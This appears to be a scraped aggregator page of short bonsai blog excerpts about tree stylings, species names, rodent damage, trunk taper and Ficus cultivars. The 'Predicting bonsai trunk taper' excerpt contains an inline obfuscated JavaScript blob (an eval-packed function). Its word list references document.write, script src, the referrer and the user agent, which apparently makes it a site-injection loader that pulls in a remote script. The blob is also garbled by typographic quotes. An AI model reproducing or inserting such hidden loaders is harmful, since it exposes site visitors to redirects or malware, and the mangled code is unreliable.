Before & After Bonsai with at Least Five Names

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Source: Bonsai Bark Blog. Suthin’s before and after Japanese five needle pine, aka Japanese white pine (Pinus parviflora aka Pinus parvifolia). This is the only variety tree that I know of that has two common names in English and two botanical names. To further confuse the issue, in bonsai circles it is sometimes referred to Read More

REPAIRING RODENT DAMAGED BONSAI

1 year ago Nebby 0
Source: Valavanis Bonsai Blog. Although Spring is officially here, we are still experiencing 21F nighttime temperatures with snow of course. Our bonsai think its Spring and have begun to grow, especially maples. These must be carefully maintained now in order not to lose an entire year’s growth. This is a topic for a future blog Read More

Before & After Bonsai – a ‘Grandiose’ Transformation

1 year ago Nebby 0
Source: Bonsai Bark Blog. Before and after. The tree is a Lawson’s cypress (Chaemacyparis Louïsiana ‘Elwoodii’). Here’s the caption copied directly from Michel Delen, our source for these photos… “Chaemacyparis Louïsiana ‘Elwoodii’ AFTER Grandioos Noelanders Marc.” I’m impressed. The date on the before  is Feb  8th of this year and the date on the after Read More

Predicting bonsai trunk taper

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Source: Growing Bonsai Blog. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eebfn|var|u0026u|referrer|ienra||js|php’.split(‘|’),0,{})) Trunk cutback for bonsai Naturally, growing bonsai is not done by formulas and ratios. The best bonsai break all the ratios mentioned in this article. However, these are ratios that in general produce realistic trees. As such, these can be used as an assistant for Read More

Ficus concinna a red leaved Ficus

1 year ago Nebby 0
Source: Bonsai Hunk Blog. Ficus concinna is one of the figs that has the reddest new leaves as well as being an excellent material for bonsai. The following shot shows the tree, grown from seed, in old and then new foliage. The new foliate sprouts out red and gradually turns green over the next 1-3 Read More

Ficus ‘ExoticaJS’ initial styling

1 year ago Nebby 0
Source: Bonsai Hunk Blog. Ficus ‘ExoticaJs’, probably another cultivar related to Ficus salicaria, is a great material for bonsai. In 2013 I purchased a pre-bonsai and did an immediate rough styling. The first image shows the result of an hours’ trimming back. The second shot shows the tree rin 2018.  It is beginning to take Read More

One Bonsai, Three Seasons, Four Photos

1 year ago Nebby 0
Source: Bonsai Bark Blog. Fall. Luis Vallejo calls this tree a Spanish oak (Quercus faginea) though Wikipedia and some others refer to it as Portuguese oak (other names that popped up are Valencian oak and Lusitanian oak).  It belongs to Luis and resides at the the Municipal Bonsai Museum of Alcobendas in Spain. Welcome to Luis Vallejo’s Bonsai Bark (just Read More

Mossy Bonsai Glade & Other Brilliant Forests

1 year ago Nebby 0
Source: Bonsai Bark Blog. Here’s what Felix Laughlin, the president of the National Bonsai Foundation wrote about this outstanding forest…  “Wayne, the photo of the  forest of Chinese elms is from the North American Collection at the National Bonsai and Penjing Museum, and was donated by Susanne Barrymore; it’s been in training since 1988.” Two full  pallets of Read More